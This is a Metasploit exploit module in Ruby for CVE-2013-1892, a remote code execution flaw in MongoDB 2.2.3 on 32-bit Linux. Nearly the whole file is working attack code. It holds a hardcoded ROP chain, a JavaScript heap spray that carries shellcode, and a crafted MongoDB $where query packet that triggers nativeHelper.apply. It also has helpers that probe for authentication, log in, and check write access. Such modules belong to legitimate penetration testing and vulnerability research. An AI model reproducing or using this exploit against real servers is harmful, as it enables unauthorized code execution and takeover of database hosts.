##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
def initialize(info={})
super(update_info(info,
'Name' => 'MongoDB nativeHelper.apply Remote Code Execution',
'Description' => %q{
This module exploit a the nativeHelper feature from spiderMonkey which allows to
to control execution by calling it wit specially crafted arguments. This module
has been tested successfully on MongoDB 2.2.3 on Ubuntu 10.04 and Debian Squeeze.
},
'Author' =>
[
'agix' # @agixid # Vulnerability discovery and Metasploit module
],
'References' =>
[
[ 'CVE', '2013-1892' ],
[ 'OSVDB', '91632' ],
[ 'BID', '58695' ],
[ 'URL', 'http://blog.scrt.ch/2013/03/24/mongodb-0-day-ssji-to-rce/' ]
],
'Platform' => 'linux',
'Targets' =>
[
[ 'Linux - mongod 2.2.3 - 32bits',
{
'Arch' => ARCH_X86,
'mmap' => [
0x0816f768, # mmap64@plt # from mongod
0x08666d07, # add esp, 0x14 / pop ebx / pop ebp / ret # from mongod
0x31337000,
0x00002000,
0x00000007,
0x00000031,
0xffffffff,
0x00000000,
0x00000000,
0x0816e4c8, # memcpy@plt # from mongod
0x31337000,
0x31337000,
0x0c0b0000,
0x00002000
],
'ret' => 0x08055a70, # ret # from mongod
'gadget1' => 0x0836e204, # mov eax,DWORD PTR [eax] / call DWORD PTR [eax+0x1c]
# These gadgets need to be composed with bytes < 0x80
'gadget2' => 0x08457158, # xchg esp,eax / add esp,0x4 / pop ebx / pop ebp / ret <== this gadget must xchg esp,eax and then increment ESP
'gadget3' => 0x08351826, # add esp,0x20 / pop esi / pop edi / pop ebp <== this gadget placed before gadget2 increment ESP to escape gadget2
'gadget4' => 0x08055a6c, # pop eax / ret
'gadget5' => 0x08457158 # xchg esp,eax
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Mar 24 2013',
'License' => MSF_LICENSE
))
register_options(
[
Opt::RPORT(27017),
OptString.new('DB', [ true, "Database to use", "admin"]),
OptString.new('COLLECTION', [ false, "Collection to use (it must to exist). Better to let empty", ""]),
OptString.new('USERNAME', [ false, "Login to use", ""]),
OptString.new('PASSWORD', [ false, "Password to use", ""])
], self.class)
end
def exploit
begin
connect
if require_auth?
print_status("Mongo server #{datastore['RHOST']} use authentication...")
if !datastore['USERNAME'] || !datastore['PASSWORD']
disconnect
fail_with(Exploit::Failure::BadConfig, "USERNAME and PASSWORD must be provided")
end
if do_login==0
disconnect
fail_with(Exploit::Failure::NoAccess, "Authentication failed")
end
else
print_good("Mongo server #{datastore['RHOST']} doesn't use authentication")
end
if datastore['COLLECTION'] && datastore['COLLECTION'] != ""
collection = datastore['COLLECTION']
else
collection = Rex::Text.rand_text(4, nil, 'abcdefghijklmnopqrstuvwxyz')
if read_only?(collection)
disconnect
fail_with(Exploit::Failure::BadConfig, "#{datastore['USERNAME']} has read only access, please provide an existent collection")
else
print_good("New document created in collection #{collection}")
end
end
print_status("Let's exploit, heap spray could take some time...")
my_target = target
shellcode = Rex::Text.to_unescape(payload.encoded)
mmap = my_target['mmap'].pack("V*")
ret = [my_target['ret']].pack("V*")
gadget1 = "0x#{my_target['gadget1'].to_s(16)}"
gadget2 = Rex::Text.to_hex([my_target['gadget2']].pack("V"))
gadget3 = Rex::Text.to_hex([my_target['gadget3']].pack("V"))
gadget4 = Rex::Text.to_hex([my_target['gadget4']].pack("V"))
gadget5 = Rex::Text.to_hex([my_target['gadget5']].pack("V"))
shellcode_var="a"+Rex::Text.rand_text_hex(4)
sizechunk_var="b"+Rex::Text.rand_text_hex(4)
chunk_var="c"+Rex::Text.rand_text_hex(4)
i_var="d"+Rex::Text.rand_text_hex(4)
array_var="e"+Rex::Text.rand_text_hex(4)
ropchain_var="f"+Rex::Text.rand_text_hex(4)
chunk2_var="g"+Rex::Text.rand_text_hex(4)
array2_var="h"+Rex::Text.rand_text_hex(4)
# nopsled + shellcode heapspray
payload_js = shellcode_var+'=unescape("'+shellcode+'");'
payload_js << sizechunk_var+'=0x1000;'
payload_js << chunk_var+'="";'
payload_js << 'for('+i_var+'=0;'+i_var+'<'+sizechunk_var+';'+i_var+'++){ '+chunk_var+'+=unescape("%u9090%u9090"); } '
payload_js << chunk_var+'='+chunk_var+'.substring(0,('+sizechunk_var+'-'+shellcode_var+'.length));'
payload_js << array_var+'=new Array();'
payload_js << 'for('+i_var+'=0;'+i_var+'<25000;'+i_var+'++){ '+array_var+'['+i_var+']='+chunk_var+'+'+shellcode_var+'; } '
# retchain + ropchain heapspray
payload_js << ropchain_var+'=unescape("'+Rex::Text.to_unescape(mmap)+'");'
payload_js << chunk2_var+'="";'
payload_js << 'for('+i_var+'=0;'+i_var+'<'+sizechunk_var+';'+i_var+'++){ '+chunk2_var+'+=unescape("'+Rex::Text.to_unescape(ret)+'"); } '
payload_js << chunk2_var+'='+chunk2_var+'.substring(0,('+sizechunk_var+'-'+ropchain_var+'.length));'
payload_js << array2_var+'=new Array();'
payload_js << 'for('+i_var+'=0;'+i_var+'<25000;'+i_var+'++){ '+array2_var+'['+i_var+']='+chunk2_var+'+'+ropchain_var+'; } '
# Trigger and first ropchain
payload_js << 'nativeHelper.apply({"x" : '+gadget1+'}, '
payload_js << '["A"+"'+gadget3+'"+"'+Rex::Text.rand_text_hex(12)+'"+"'+gadget2+'"+"'+Rex::Text.rand_text_hex(28)+'"+"'+gadget4+'"+"\\x20\\x20\\x20\\x20"+"'+gadget5+'"]);'
request_id = Rex::Text.rand_text(4)
packet = request_id #requestID
packet << "\xff\xff\xff\xff" #responseTo
packet << "\xd4\x07\x00\x00" #opCode (2004 OP_QUERY)
packet << "\x00\x00\x00\x00" #flags
packet << datastore['DB']+"."+collection+"\x00" #fullCollectionName (db.collection)
packet << "\x00\x00\x00\x00" #numberToSkip (0)
packet << "\x01\x00\x00\x00" #numberToReturn (1)
where = "\x02\x24\x77\x68\x65\x72\x65\x00"
where << [payload_js.length+4].pack("L")
where << payload_js+"\x00"
where.insert(0, [where.length + 4].pack("L"))
packet += where
packet.insert(0, [packet.length + 4].pack("L"))
sock.put(packet)
disconnect
rescue ::Exception => e
fail_with(Exploit::Failure::Unreachable, "Unable to connect")
end
end
def require_auth?
request_id = Rex::Text.rand_text(4)
packet = "\x3f\x00\x00\x00" #messageLength (63)
packet << request_id #requestID
packet << "\xff\xff\xff\xff" #responseTo
packet << "\xd4\x07\x00\x00" #opCode (2004 OP_QUERY)
packet << "\x00\x00\x00\x00" #flags
packet << "\x61\x64\x6d\x69\x6e\x2e\x24\x63\x6d\x64\x00" #fullCollectionName (admin.$cmd)
packet << "\x00\x00\x00\x00" #numberToSkip (0)
packet << "\x01\x00\x00\x00" #numberToReturn (1)
#query ({"listDatabases"=>1})
packet << "\x18\x00\x00\x00\x10\x6c\x69\x73\x74\x44\x61\x74\x61\x62\x61\x73\x65\x73\x00\x01\x00\x00\x00\x00"
sock.put(packet)
response = sock.get_once
have_auth_error?(response)
end
def read_only?(collection)
request_id = Rex::Text.rand_text(4)
_id = "\x07_id\x00"+Rex::Text.rand_text(12)+"\x02"
key = Rex::Text.rand_text(4, nil, 'abcdefghijklmnopqrstuvwxyz')+"\x00"
value = Rex::Text.rand_text(4, nil, 'abcdefghijklmnopqrstuvwxyz')+"\x00"
insert = _id+key+[value.length].pack("L")+value+"\x00"
packet = [insert.length+24+datastore['DB'].length+6].pack("L") #messageLength
packet << request_id #requestID
packet << "\xff\xff\xff\xff" #responseTo
packet << "\xd2\x07\x00\x00" #opCode (2002 Insert Document)
packet << "\x00\x00\x00\x00" #flags
packet << datastore['DB'] + "." + collection + "\x00" #fullCollectionName (DB.collection)
packet << [insert.length+4].pack("L")
packet << insert
sock.put(packet)
request_id = Rex::Text.rand_text(4)
packet = [datastore['DB'].length + 61].pack("L") #messageLength (66)
packet << request_id #requestID
packet << "\xff\xff\xff\xff" #responseTo
packet << "\xd4\x07\x00\x00" #opCode (2004 Query)
packet << "\x00\x00\x00\x00" #flags
packet << datastore['DB'] + ".$cmd" + "\x00" #fullCollectionName (DB.$cmd)
packet << "\x00\x00\x00\x00" #numberToSkip (0)
packet << "\xff\xff\xff\xff" #numberToReturn (1)
packet << "\x1b\x00\x00\x00"
packet << "\x01\x67\x65\x74\x6c\x61\x73\x74\x65\x72\x72\x6f\x72\x00\x00\x00\x00\x00\x00\x00\xf0\x3f\x00"
sock.put(packet)
response = sock.get_once
have_auth_error?(response)
end
def do_login
print_status("Trying #{datastore['USERNAME']}/#{datastore['PASSWORD']} on #{datastore['DB']} database")
nonce = get_nonce
status = auth(nonce)
return status
end
def auth(nonce)
request_id = Rex::Text.rand_text(4)
packet = request_id #requestID
packet << "\xff\xff\xff\xff" #responseTo
packet << "\xd4\x07\x00\x00" #opCode (2004 OP_QUERY)
packet << "\x00\x00\x00\x00" #flags
packet << datastore['DB'] + ".$cmd" + "\x00" #fullCollectionName (DB.$cmd)
packet << "\x00\x00\x00\x00" #numberToSkip (0)
packet << "\xff\xff\xff\xff" #numberToReturn (1)
#{"authenticate"=>1.0, "user"=>"root", "nonce"=>"94e963f5b7c35146", "key"=>"61829b88ee2f8b95ce789214d1d4f175"}
document = "\x01\x61\x75\x74\x68\x65\x6e\x74\x69\x63\x61\x74\x65"
document << "\x00\x00\x00\x00\x00\x00\x00\xf0\x3f\x02\x75\x73\x65\x72\x00"
document << [datastore['USERNAME'].length + 1].pack("L") # +1 due null byte termination
document << datastore['USERNAME'] + "\x00"
document << "\x02\x6e\x6f\x6e\x63\x65\x00\x11\x00\x00\x00"
document << nonce + "\x00"
document << "\x02\x6b\x65\x79\x00\x21\x00\x00\x00"
document << Rex::Text.md5(nonce + datastore['USERNAME'] + Rex::Text.md5(datastore['USERNAME'] + ":mongo:" + datastore['PASSWORD'])) + "\x00"
document << "\x00"
#Calculate document length
document.insert(0, [document.length + 4].pack("L"))
packet += document
#Calculate messageLength
packet.insert(0, [(packet.length + 4)].pack("L")) #messageLength
sock.put(packet)
response = sock.get_once
if have_auth_error?(response)
print_error("Bad login or DB")
return 0
else
print_good("Successful login on DB #{datastore['db']}")
return 1
end
end
def get_nonce
request_id = Rex::Text.rand_text(4)
packet = [datastore['DB'].length + 57].pack("L") #messageLength (57+DB.length)
packet << request_id #requestID
packet << "\xff\xff\xff\xff" #responseTo
packet << "\xd4\x07\x00\x00" #opCode (2004 OP_QUERY)
packet << "\x00\x00\x00\x00" #flags
packet << datastore['DB'] + ".$cmd" + "\x00" #fullCollectionName (DB.$cmd)
packet << "\x00\x00\x00\x00" #numberToSkip (0)
packet << "\x01\x00\x00\x00" #numberToReturn (1)
#query {"getnonce"=>1.0}
packet << "\x17\x00\x00\x00\x01\x67\x65\x74\x6e\x6f\x6e\x63\x65\x00\x00\x00\x00\x00\x00\x00\xf0\x3f\x00"
sock.put(packet)
response = sock.get_once
documents = response[36..1024]
#{"nonce"=>"f785bb0ea5edb3ff", "ok"=>1.0}
nonce = documents[15..30]
end
def have_auth_error?(response)
#Response header 36 bytes long
documents = response[36..1024]
#{"errmsg"=>"auth fails", "ok"=>0.0}
#{"errmsg"=>"need to login", "ok"=>0.0}
if documents.include?('errmsg') || documents.include?('unauthorized')
return true
else
return false
end
end
end
